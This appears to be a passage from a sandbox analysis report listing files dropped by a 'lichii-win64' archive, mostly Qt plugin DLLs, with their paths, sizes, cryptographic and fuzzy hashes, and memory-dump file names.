SHA512 4bda3a16942edea03748f4b314bf5880bbde060fe961a0cadff4ad3d97f6153b562ffb1ef0f3e6c74f75eff62e804fa20c28b0434815d14f44a0791e20df2fab
SSDEEP 384:IVVPD+FyNtEQZ/ShWKKKKKKKKKKKKKKKKKKXqsvsnN+q:IvDAEPZ/ShWKKKKKKKKKKKKKKKKKKXq1
TLSH
T1F082B43BEB73D4ADC1CA93B83686D9F1B0F4FC611464682C435143643A5BAA89F7D6C2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qtuiotouchplugin.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\generic\qtuiotouchplugin.dll
Size 99KB
SHA256 8e123c011d13ddf884d33f6fba50182d6525a3a7504b7eac0788ef45ab2f2cb1
MD5 47787f4fb342febf8f0d13833138d649
SHA1 78830d5e85379d32448aebdc32dd381bc4c8c86d
SHA512 7874f02c03ca586725911899b369ef4c27c1ef3d0051f73503a1dde4e8e0fb21f8b8b153c6bf3b25e283f96e547452208179a8c70ac88d6afd4e684707eba7d2
SSDEEP 1536:F2y+gU/cz9CaWFQh38rI6sBadr8gDLOtjdiT6ZViAdrLeAIkgKxngO2:F2y+gQcBZ38rIsr8gDLkjbZIARLeTNKq
TLSH
T156A36C7B12A042E5D96AC27AC79B8617E776B06563329FDF026546090F33BF12E3D710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qsvgicon.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\iconengines\qsvgicon.dll
Size 75KB
SHA256 6418cb7f188af89fc6876059692d3940377a80bbdb55d70ab907406b46f671d0
MD5 0e349438328d9ffbe160b1a7e5eaec97
SHA1 3a6cb0f3a4d440d1f1fd46b09a73dfbb4ca3b1e6
SHA512 969f12ac1587330e85fec94ba5bf6db4238d964557a559bbed5b488fa98f8054aa88ef6df9ca46f61ede1987311c258f00c7c94a4ba715466f8d2d9537898e34
SSDEEP 1536:p3ln3K5vKLoOT0hBcIpYFXFORVywJUxTkxKdvR8gKxngOHT:VlnkcYc4RVywJU2xKdZ1KLT
TLSH
T1A4735B262BAC2219DCAAC53EC327CA07EE7AB5147353ABDF125144326E637C16D75B30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qgif.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\imageformats\qgif.dll
Size 46KB
SHA256 0ee32e5b48bf1404532842862045c523e0c915f223e34ea900c709e7c72b0b1e
MD5 c0f3a9ddd65ee38778e1a7e9a382403c
SHA1 3e2b4154fc33e47437a4df6accd49e0ae26f9e18
SHA512 39dcc1ae7e442345d416a88b14e3c0df85b9f9083bdfd5c0cca4dc8f22ca46d2e8348dba44ffae5218b6f9be1fc0e3b8a634feabfebb4cf69fd640c34c5ca128
SSDEEP 768:4bTuQPwX6wCIohpGt0U5DnEZZ3AX8wAhW9W2gKxnVbGYJ1GNqp:ATuQPtwXozLUaZ3AX8wAhW9W2gKxngON
TLSH
T1BC237C466BB542E1E1E7C234C1979A2BDAB5B660A743C7DF4012857A1E333D13E3872A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qico.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\imageformats\qico.dll
Size 45KB
SHA256 30b344703bccbf4bf70809cb9b6ce0075b74bdc765d18e539339190b095bb552
MD5 33711dedf7020eff6004aad38ef5da46
SHA1 557bb4f4fa3a1101e801ad499337924031cc075c
SHA512 0a6dc60d70a5e8fa7bebcf586e3fae85eccc69f68ab7971ee190d65d3682da66d4651cad1143c509491314d80f3e8fea4433eb53f1b18f4707ff9bdba7e91259
SSDEEP 768:pnYTPBPUkJ4R6tTpR/u2IQlAcJdu8Pk2gKxnVbGYJ1iHEN7:qP9UkJntnW2IQlAcJdu8Pk2gKxngOiH8
TLSH
T140237C96A3780392F4AAC63895478B23DEB1F260E713CBDF4122456A1D337E27E38755
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qjpeg.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\imageformats\qjpeg.dll
Size 562KB
SHA256 1c3f3996b18b9a6d3f2690ef333843c9195bec2a4eb08f6e68a3b3bc7f097c32
MD5 a7d51382a4a0fa723516a9196e22d5bf
SHA1 7f3786afc874199fdac99660bacd92a28eabf726
SHA512 74fe1a56c75bd39dea47ea20d9f60df9485b679df377d40ab059d4a777c803a520e053dbe0f4acd729283d03e37de4eba7f2bcbf49f715d7af22d68abb25241e
SSDEEP 6144:rY6ez0523EZtjukwJSu+gqmZLNFC6svxKec6uEgcrziZz+S4Lym882MFxXIPcysS:akwiC+SC59E6dfcB
TLSH
T1EBC42942F6B52841C7A68478DF1AC956DB91781D03F68AF7B2D1CBE53B1BAE07A35300
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qsvg.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\imageformats\qsvg.dll
Size 38KB
SHA256 d901931d7f5da8b408f9fcfcfe9e53a4d2247b5fa391fd67ac22a9e9f13c1636
MD5 744aa52ea41edd4b5798f90f5f3199a8
SHA1 6c25f992dd9bad43c744bbce0aa9f296bb7b7d55
SHA512 493c44b071283b0c88d167c83ce49d05bfaad8f184578f3d50626a0c8e450e94401de03f9703765663d8d4effaf064b55e19274f1885f0084e6cd9072d84eb89
SSDEEP 768:lVIv11bdAqZkvZgfyY2OCzgKxnVbGYJ1QNX:091BbkRgfyY2fzgKxngOS
TLSH
T1B5036B0B9B294AA2F0AEC27895868B27D972F160A35397CF1172017E5D733C13E7C35A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qnetworklistmanager.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\networkinformation\qnetworklistmanager.dll
Size 69KB
SHA256 9950a4a34df745df88b84bb605982999332f27217cba5802c2c30df5197db247
MD5 532420c6901657cb529afb2afc0d74ff
SHA1 6f70af8755c0a4ded023a281617eb84500528f80
SHA512 e108d220c9431a5709c78a441ceac6a7a51fcc746a043377afd17089281badd71f32e09b9ecedf84285640fbb2cb0530ea5d0d1023e19267f1b8a894c4c3fc99
SSDEEP 1536:gCbA4qFWVcIn/JW9y6nTWXi5+QZQIWgKxngOo:gYQIVcIn2nTHWIjK8
TLSH
T1E1633A5A67A84295F46AC23DC5E34B16F972F461932287CF1721832E0F733D12A7EB91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qwindows.dll

Path C:\Users\Admin\Desktop\lichii-win64\plugins\platforms\qwindows.dll
Size 886KB
SHA256 12577a7c4f2230bbea53f279573d7e3d1a08d631197855481e1e1580f61bb877
MD5 5e0a635ac38ccf7a3ab5899e08eb4882
SHA1 ef3929adbc16acf0d0824b8c47fc6a9e3ec5a120
SHA512 2c654f568e16a1a07138d938f6c214cf5221f1a18ed18ba959a9ef35abf2b13b6b51789356f7d127e6ac2e9a33d565ccea4cf59338773b2bff496034110c7837
SSDEEP 12288:9N/GUxBodkkhMB5MqdN0tUZIxgm++2e2U3Nf5QJY4v:9NBBoW7kqdNAUaxgm++2e4v
TLSH
T16E156B17A7A80285D47FC13DC7CB8A12EBB2701513A19BCB4161CA59BF377F22A79B50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qmodernwindowsstyle.dll

Path C:\Users\Admin\Desktop\lichii-win64\styles\qmodernwindowsstyle.dll
Size 210KB
SHA256 33f30e3ed3159b607cac9fb13c478f3e1059b63b39201194ee5f67d239180f01
MD5 db22153bb6c7563344439146d2830492
SHA1 a74008a5ad5b7f6a15324fd6d8e0094d78bda506
SHA512 4525cc5d9b27332b1748efa5280e4b57ce509d656efd4fa95c7de81bc4252037f92dec5a4ba8ab3ace76b9374a42be57cd9964a521db8e020a76b50f5130cff3
SSDEEP 6144:Q63pkku2kdGRe8qC51PiKOib2o9fwPyA0Q0PIf41:Q63mku2FRe8qC51PX1
TLSH
T1CE24280372961286C567D1BCC95F4623F6B3706413228ABF4066CAB52FA73E2FD3A751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qcertonlybackend.dll

Path C:\Users\Admin\Desktop\lichii-win64\tls\qcertonlybackend.dll
Size 99KB
SHA256 063f369b7975c97fb989eda88f7a78896e7c6d5de2b73cccf30aefa92b608aff
MD5 ed26a4e83da8ab20d1c1ef7eba35156e
SHA1 802da63852c6372b8d1f47a7ab5af7b6781403c2
SHA512 9d3fd13971dac7c4fc893af30a84a775321d5011e803e80998ad29804d1cc883d4920898416e6f991026726dc33204be3092951b47b8e0b648aead0a1390b198
SSDEEP 1536:iOqWoLWtZK5wqTQm4at/sHQ24ozI/9Dw5Kq6peRyXAOCXI9UGSG/CjdXZk7KdOgn:HqfLAuB/sHQFw2tVWlG/CjdXu78LK4
TLSH
T146A36D5B23A402A6E8BED678C7178903D7B9B05557229BFF02618A260F73BF15E3C354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qschannelbackend.dll

Path C:\Users\Admin\Desktop\lichii-win64\tls\qschannelbackend.dll
Size 248KB
SHA256 c58ab3c5873d3d5187ff1e6703662810f555ebe60c532e025250c47bbac2e50c
MD5 d0ad9300b9f3620aed38e92cbc9b59da
SHA1 7b251e0affa48e3ea67b6ba7fc0c4dac2051e67c
SHA512 c15daa8e4ea396ba97307b6af0cabecddc570390e250853053eda89b852a8884be815d6eaf77a0282a470833b928d37100c2ffde790743915e916ac06a16b7d5
SSDEEP 6144:tQWb8CPosKpmgDwz2WSZdVGOXlEUgkmQgEleoZquZe:tQ28MBK0zmXlEU/leoRZe
TLSH
T1CD44396722940E94FC6BD078CA4BC803E6B370955366EBEF5231891A1F63AF2B57D350
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e604ff87-f2fc-446b-b3b3-ca30bee25216.tmp

Path C:\Users\Admin\Downloads\e604ff87-f2fc-446b-b3b3-ca30bee25216.tmp
Size 8KB
SHA256 34f723b8451b1b9f0c59c55663b726710706832f8cfa39b90b0b406ea7619ffb
MD5 25a6abe10253f1fa3fea362f7c44d236
SHA1 58fbbf59b8cc0e3edde367fcbb8e752423c07da8
SHA512 716f722266e704e7ca85a957f3625c11835d1b94247c52b7e62ea6076e98e4f058c640cb5ea66f32566a50df3adc9a721d34bfc142242de5fd029109e413eb9c
SSDEEP 192:27NwqFY/Bev6WbRjWBjJKpoBRDjG7O8R7ucNs62R7:qNgoJKZJKyljGa8O6U
TLSH
T1A702BFA38850A9627994AECE4906FE03A34BAACD29D722DCC5D70273153B4CB6047957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lichii-win64.zip:Zone.Identifier

Path C:\Users\Admin\Downloads\lichii-win64.zip:Zone.Identifier
Size 81B
SHA256 be5fb803b3bf51ecfd6e18759b979255cd2cbaf0ffdc19dedd0894c901a041b8
MD5 18b68d11088ac82eb2edaaa4120dd0a6
SHA1 f8231b8fac133e9275f97430451c97f7ad5487f9
SHA512 f3b846e0792eaea1751f3c99808da02fc1c09dc7f50a03bb83545d2267e0b99bdb69e2324c1cac5f0fd467ff4e9adc9505fb60c1a5f12f3f34f470535319d33c
TLSH
T1E5A0125B0480C0002A153384139CE508A14F31601C804208DC1040DAF44015C4090007
MD5 SHA1 SHA512 TLSH

Submit Download

memory/916-398-0x00007FFA606A0000-0x00007FFA606B5000-memory.dmp

Download

memory/916-370-0x00007FF7C8690000-0x00007FF7CB5A3000-memory.dmp

Download

memory/916-369-0x00007FFA47660000-0x00007FFA47C94000-memory.dmp

Download

memory/1608-213-0x0000022E9DEE0000-0x0000022E9EEE0000-memory.dmp

Download

memory/2248-390-0x00007FFA606A0000-0x00007FFA606B5000-memory.dmp

Download

memory/2248-384-0x00007FF7C8690000-0x00007FF7CB5A3000-memory.dmp

Download

memory/2248-379-0x00007FFA47660000-0x00007FFA47C94000-memory.dmp

Download

memory/3548-447-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-446-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-458-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-457-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-456-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-455-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-454-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-453-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-452-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download

memory/3548-448-0x00000221BC740000-0x00000221BC741000-memory.dmp

Download